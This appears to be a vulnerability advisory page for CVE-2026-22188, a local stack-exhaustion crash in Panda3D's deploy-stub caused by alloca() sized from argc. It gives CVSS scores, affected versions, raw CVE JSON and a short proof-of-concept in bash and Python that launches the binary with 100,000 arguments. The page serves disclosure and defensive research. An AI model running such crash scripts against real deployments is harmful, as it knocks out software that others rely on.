Security Vulnerability Report
中文
CVE-2026-22188 CVSS 5.5 MEDIUM

CVE-2026-22188

Published: 2026-01-07 21:16:03
Last Modified: 2026-01-12 18:00:29

Description

Panda3D versions up to and including 1.10.16 deploy-stub contains a denial of service vulnerability due to unbounded stack allocation. The deploy-stub executable allocates argv_copy and argv_copy2 using alloca() based directly on the attacker-controlled argc value without validation. Supplying a large number of command-line arguments can exhaust stack space and propagate uninitialized stack memory into Python interpreter initialization, resulting in a reliable crash and undefined behavior.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:cmu:panda3d:*:*:*:*:*:*:*:* - VULNERABLE
Panda3D <= 1.10.16 (所有版本直至并包括1.10.16)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2026-22188 PoC - Panda3D deploy-stub Stack Exhaustion # Usage: ./poc.sh [number_of_args] # Default: 100000 arguments NUM_ARGS=${1:-100000} echo "[*] Generating $NUM_ARGS command-line arguments..." # Generate a large number of arguments ARGS="" for i in $(seq 1 $NUM_ARGS); do ARGS="$ARGS arg$i" done echo "[*] Executing deploy-stub with $NUM_ARGS arguments..." # Attempt to execute deploy-stub with excessive arguments # This will trigger stack exhaustion due to unbounded alloca() usage ./deploy-stub $ARGS echo "[!] If vulnerable, the program should crash with stack overflow" # Alternative PoC in Python: """ import subprocess import sys def exploit(num_args=100000): print(f"[*] Generating {num_args} arguments...") args = ['deploy-stub'] + [f'arg{i}' for i in range(num_args)] print(f"[*] Executing with {num_args} arguments...") try: result = subprocess.run(args, timeout=10) except Exception as e: print(f"[!] Exploitation result: {e}") if __name__ == "__main__": exploit(int(sys.argv[1]) if len(sys.argv) > 1 else 100000) """

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22188", "sourceIdentifier": "[email protected]", "published": "2026-01-07T21:16:02.747", "lastModified": "2026-01-12T18:00:28.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Panda3D versions up to and including 1.10.16 deploy-stub contains a denial of service vulnerability due to unbounded stack allocation. The deploy-stub executable allocates argv_copy and argv_copy2 using alloca() based directly on the attacker-controlled argc value without validation. Supplying a large number of command-line arguments can exhaust stack space and propagate uninitialized stack memory into Python interpreter initialization, resulting in a reliable crash and undefined behavior."}, {"lang": "es", "value": "Las versiones de Panda3D hasta la 1.10.16 inclusive deploy-stub contienen una vulnerabilidad de denegación de servicio debido a una asignación de pila ilimitada. El ejecutable deploy-stub asigna argv_copy y argv_copy2 utilizando alloca() basándose directamente en el valor argc controlado por el atacante sin validación. Suministrar un gran número de argumentos de línea de comandos puede agotar el espacio de la pila y propagar memoria de pila no inicializada a la inicialización del intérprete de Python, lo que resulta en un fallo fiable y comportamiento indefinido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-457"}, {"lang": "en", "value": "CWE-789"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cmu:panda3d:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.10.16", "matchCriteriaId": "EBD14B18-5255-4C59-93D4-597FB077C187"}]}]}], "references": [{"url": "https://github.com/panda3d/panda3d", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://seclists.org/fulldisclosure/2026/Jan/9", "source": "[email protected]", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}, {"url": "https://www.panda3d.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/panda3d-deploy-stub-stack-exhaustion-via-unbounded-alloca", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}